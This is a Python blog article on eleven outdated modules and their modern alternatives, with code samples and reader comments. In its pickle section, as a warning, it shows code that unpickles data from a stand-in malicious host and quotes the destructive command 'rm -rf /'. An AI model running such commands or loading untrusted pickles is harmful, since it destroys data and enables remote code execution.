Open in app

Search

TechToFreedom · Follow publication

Member-only story Featured

PYTHON

11 Outdated Python Modules That You Should

Never Use Again
And their modern alternatives that you should master

7 min read · Apr 11, 2025

Yang Zhou Follow

Listen Share More

Image from Wallhaven

Python evolves so fast.

Some modules you learned 5 years ago? Perhaps they’ve become outdated today
because of security risks, lack of maintenance, better modern alternatives, or new
Python features have made them unnecessary.

Using outdated modules may cause unexpected and hard-to-detect bugs in your
Python projects.

This article summarises 11 outdated Python modules and their modern alternatives
to help you refresh your knowledge base and upgrade your Python arsenal.
1. Pipes Module: Removed Since Python 3.13
The pipes module was removed from Python 3.13 as the PEP 594 declared.

It was the tool to write a Unix “pipe” logic (the output of the previous command is
the input of the next command) in Python.

A more powerful and cross-platform module now is subprocess .

The following code is how the outdated pipes module can be used:

# Old way using pipes (Deprecated and removed in Python 3.13)

import pipes

cmd = pipes.Template()
cmd.append('echo Hello, Yang!', '--')
cmd.append('tr a-z A-Z', '--')
with cmd.open('', 'r') as f:
output = f.read()
print("Output using pipes:", output)
# Output using pipes: HELLO, YANG!

It seems not intuitive enough, let’s see how to use the new way to implement the
same logic:

# Modern way using subprocess (Recommended)

import subprocess
 result = subprocess.run(
"echo Hello, Yang! | tr a-z A-Z",
shell=True,
capture_output=True,
text=True,
)
print("Output using subprocess:", result.stdout)
# Output using subprocess: HELLO, YANG!

Neat and clear, isn’t it?

2. typing.Text: A redundant type hint
The typing.Text was a type alias intended for Python 2 compatibility. It is
redundant in modern Python versions, where str is sufficient.

We can always replace typing.Text with str :

from typing import Text

# The outdated type hint

def greet_old(name: Text) -> Text:
return f"Hello, {name}!"

# The modern type hint

def greet_modern(name: str) -> str:
return f"Hello, {name}!"

print(greet_old("Yang"))
print(greet_modern("Yang"))

3. urllib: Too Basic To Use Compared with Better Modules

The urllib module is Python's built-in standard library for handling web-relative
tasks, such as:

HTTP requests
URL parsing
Downloading content from web servers
 And so on

However, due to the fast evolution of the web, this module becomes inconvenient.
It’s very basic and low-level, and not easy to handle complex tasks.

The better options are urllib3 , an easier-to-use and powerful HTTP client, and
requests , which is built on top of urllib3 to make everything even easier.

Let’s implement a program with both ancient and modern modules to see the
difference:

import urllib.request
import urllib.error
import json

url = 'https://httpbin.org/post'
data = json.dumps({'name': 'Yang Zhou'}).encode('utf-8')
headers = {
'Content-Type': 'application/json',
'X-Custom-Header': 'Hello'
}
req = urllib.request.Request(url, data=data, headers=headers, method='POST')
try:
with urllib.request.urlopen(req, timeout=5) as response:
resp_data = response.read().decode('utf-8')
json_data = json.loads(resp_data)
print(json_data)
except urllib.error.URLError as e:
print("Error:", e)

The above program used urllib to do a simple POST request and receive the
response JSON data. Seems complicated and not Pythonic enough?

Let’s see how to use requests to do the same thing:

import requests

url = 'https://httpbin.org/post'
data = {'name': 'Yang Zhou'}
headers = {'X-Custom-Header': 'Hello'}
try:
 response = requests.post(url, json=data, headers=headers, timeout=5)
response.raise_for_status()
print(response.json())
except requests.exceptions.RequestException as e:
print("Error:", e)

Neater, clearer, and better. Isn’t it?

Beyond the requests module, there are many other choices for building a modern
HTTP client in Python, such as HTTPX, which makes asynchronous requests much
easier to write.

In a word, as an old module, urllib still works — but if you’re writing a lot of web
code without its modern alternatives, such as requests , you're making your code
unnecessarily complicated.
4. crypt Module: It Is Not Secure Enough Now
Python’s crypt module is a leftover from the Unix-only world, and it’s not secure
enough for modern applications.

The drawbacks of it include:

Unix-only: Not available on Windows

Limited algorithms: Depends on the system’s crypt() implementation
Not flexible: No built-in password verification
Weaker defaults: Modern hash functions are stronger
No constant-time comparison: Vulnerable to timing attacks

If you’re building anything today, bcrypt , a cross-platform and strong password

generation module, is what you should reach for.

This is a basic example of how to apply the bcrypt module in your programs:

import bcrypt

# Hash a password
password = b"mystrongpassword"
 hashed = bcrypt.hashpw(password, bcrypt.gensalt())
print(hashed)
# Verify password
if bcrypt.checkpw(password, hashed):
print("Password matches!")
else:
print("Password does not match.")

5. Useless Type Hints in “typing” Module for Built-in Types

The typing module of Python provides type hints for some built-in types, such as
List , Dict and so on.

Since Python 3.9, we can directly write type hints for these data types without
importing them from the typing module.

# The outdated type hint

from typing import Dict, List

def old_function(x: List[int]) -> Dict[str, int]:

...

# The modern type hint, no need to import anything from typing module
def new_function(x: list[int]) -> dict[str, int]:
...

This new update includes the following types:

typing.Dict (→ dict )

typing.FrozenSet (→ frozenset )

typing.List (→ list )

typing.Set (→ set )

typing.Tuple (→ tuple )

6. Old String Formatting Styles

If you started Python programming early or came from other languages like C or
C++, you may know Python supports some old-school string formatting syntax, such
as % operator or .format() method.
They are still viable to use in the latest Python version, but we shouldn’t use them
anymore. They are hard to read and easy to mess up.

The neat, elegant, and modern way for string formatting is using f-strings:

name = "Yang Zhou"

age = 32

# The outdated format string using % operator

print("My name is %s and I am %d years old." % (name, age))

# Another outdated format string using .format() method

print("My name is {} and I am {} years old.".format(name, age))

# The modern format string

print(f"My name is {name} and I am {age} years old.")

7. cgi Module: Replaced by Modern Web Development Frameworks

In the early years of web development, CGI scripts were popular. Python also has
this module cgi .

However, we should never use it again nowadays. There are many reasons, to list a
few:

Very old: Designed for CGI scripts in the 90s

Slow: One Python process per request
Insecure: Hard to handle input safely
Limited functionalities: No routing, no templating, no modern web features

PEP 206 even mentioned that this module “was designed poorly and is now near-
impossible to fix”.

The cgi module is a fossil from the early days of Python web development. In the modern
world of Flask, FastAPI, and Django — it belongs in the museum.

It was removed from Python 3.13 based on the statements of PEP 594.
By the way, the cgitb module was used to display detailed error tracebacks in the
browser for debugging. It was designed to work with cgi , so there is no need to use
it anymore either. There are many modern debugging tools for Python web
development.
8. ossaudiodev: An obsolete Audio Module
The ossaudiodev module provides an interface to the OSS (Open Sound System)
audio API, which was used in old Unix/Linux systems for playing and recording
audio.

Nowadays, most modern systems use ALSA or PulseAudio instead of OSS. OSS has
been deprecated in Linux as well.

So we should use cross-platform audio-handling modules now, such as pyaudio ,

sounddevice , pygame.mixer , and playsound .

9. pickle: An Unsafe Module and Should be Replaced by Other Tools

Python has a built-in module named pickler for serializing (saving) Python objects
to bytes or deserializing bytes back to Python objects.

However, using this module could put your programs under remote code execution
(RCE) risk (loading data from untrusted sources, which execute arbitrary code).

For example, we should never fetch data from the Internet as below:

import pickle
import requests

url = "http://evil-website.com/data.pkl"

response = requests.get(url)

# Dangerous! If that pkl file contains malicious code, it will run!

data = pickle.loads(response.content)

Because if there is malicious code in the response.content , the pickle.loads()

method will execute the code. ⚠️
What if it’s embedded by this line of code:
 os.system("rm -rf /")

All stuff will be removed unexpectedly!

Therefore, though the pickle module is not completely obsolete, the best practice is
to avoid this module in production and use safer serialization formats, such as json .

A proper safer code with json :

import requests
import json

url = "https://safe-website.com/data.json"

response = requests.get(url)

data = response.json() # SAFE: only handle data, no code execution

The pickle module is not completely outdated, but

trust is rare on the Internet.
10. asyncore and asynchat: Removed Asynchronous Modules
Both asyncore and asynchat were used to build asynchronous network
servers/clients before asyncio existed.

Due to the asyncio is the new and more powerful tool, Python officially removed
the two old modules in Python 3.12 as declared in its document.

Besides asyncio , there are also some other choices of modern Python asychronous
programming. To list a few popular ones:

aiohttp : async HTTP client/server (good for web development)

trio : structured concurrency

Quart: Flask-like web framework but async-first

 FastAPI: an async-first web framework

11. random: Too Insecure To Generate Passwords

The random module uses the Mersenne Twister algorithm to generate random
numbers. It’s fast and commonly used before Python 3.6.

However, this algorithm is deterministic.

It means if you use the same seed, you will get the exact same output!

Predictability is beneficial for attackers, not developers. If they see enough outputs,
perhaps they can reverse-engineer the state and predict future values.

Therefore, we should not use it to generate sensitive data anymore.

The secrets module, which was added since Python 3.6, is the more secure choice
for generating cryptographically strong random numbers for setting up sensitive
data, such as passwords. Because it pulls randomness from the operating system,
based on hardware noise, etc, which is much more unpredictable.

Its usage is also very straightforward:

import secrets

password = secrets.token_hex(16)
print(password)

Conclusion
Python is a fast-evolving language, especially in the age of AI.

What was considered best practice three or five years ago might now be slow,
unsafe, or simply awkward compared to its modern alternatives.

As Python grows, so should we as developers.

Clinging to outdated modules doesn’t just make our code harder to maintain — it
could also mean we’re missing out on cleaner syntax, better performance, and
improved security.
Stay curious. Stay updated. And thanks for reading! ❤️
Python Programming Coding Software Development Technology

Follow

Published in TechToFreedom
1.5K followers · Last published 3 days ago

Technology gives us more and more freedom. Start learning today.

Follow

Written by Yang Zhou

14.5K followers · 210 following

Full-Stack Engineer | Tech Entrepreneur

Responses (25)

Isaias Prestes

What are your thoughts?

NTTP
Apr 12
 It means if you use the same seed, you will get the exact same output!

This is actually useful for numeric methods code that uses randoms.

124 2 replies Reply

MechAI
Apr 12

Ad.6. One thing we must remember - what you said is not always true. In logging f-string is not recommend
(ruff/pylance LOG001) due to the performance issues.

132 4 replies Reply

Robert Heinis
Apr 13

Referring to requests which is also no longer prime, is HTTPX not a more modern alternative?

87 1 reply Reply

See all responses

More from Yang Zhou and TechToFreedom

 In TechToFreedom by Yang Zhou

3 Syntax Updates of Python 3.14 That Will Make Your Code Safer and
Better
Stay up to date with the incoming Python version

Apr 18 358 8

In TechToFreedom by Yang Zhou

Template Strings in Python 3.14: An Unnecessary New Feature?

An honest review of its usage and potential
 May 2 102 4

In TechToFreedom by Yang Zhou

8 Levels of Using Multiprocessing in Python

Leverage process-based parallelism for high-performance code

Jan 14 877 3

In TechToFreedom by Yang Zhou

7 Confusing Python Code Snippets and Their Explanation

Understand surprising Python features and avoid hidden pitfalls
 Apr 23 303 5

See all from Yang Zhou

See all from TechToFreedom

Recommended from Medium

In Devlink Tips by Devlink Tips

The end of Docker? The Reasons Behind Developers Changing Their

Runtimes
Docker once led the container revolution—but times have changed. Developers are embracing
faster, leaner, and more secure alternatives in…

Mar 21 2.4K 74
 In Pythonic AF by Aysha R

I Tried Writing Python in VS Code and PyCharm — Here’s What I Found

One felt like a smart coding companion. The other felt like assembling IKEA furniture
blindfolded.

Apr 15 1.3K 112

Maxim Gorin

Stop Writing If-Else Trees: Use the State Pattern Instead

Tired of messy conditionals? Learn how the State pattern makes your code cleaner, smarter,
and easier to scale.
Apr 10 2.7K 57

In Write A Catalyst by Adarsh Gupta

Google just Punished GeekforGeeks

And that’s for a reason.

Apr 11 3K 136

In AI & Analytics Diaries by Analyst Uttam

This SQL Trick Cut My Query Time by 80%

🚪 The Problem That Wasted My Hours (And Sanity)
1d ago 1.4K 45

In Python in Plain English by Kiran Maan

This Python Interview Taught Me What Really Matters in Tech

Last month, I sat for a Python interview.

Apr 17 760 11

See more recommendations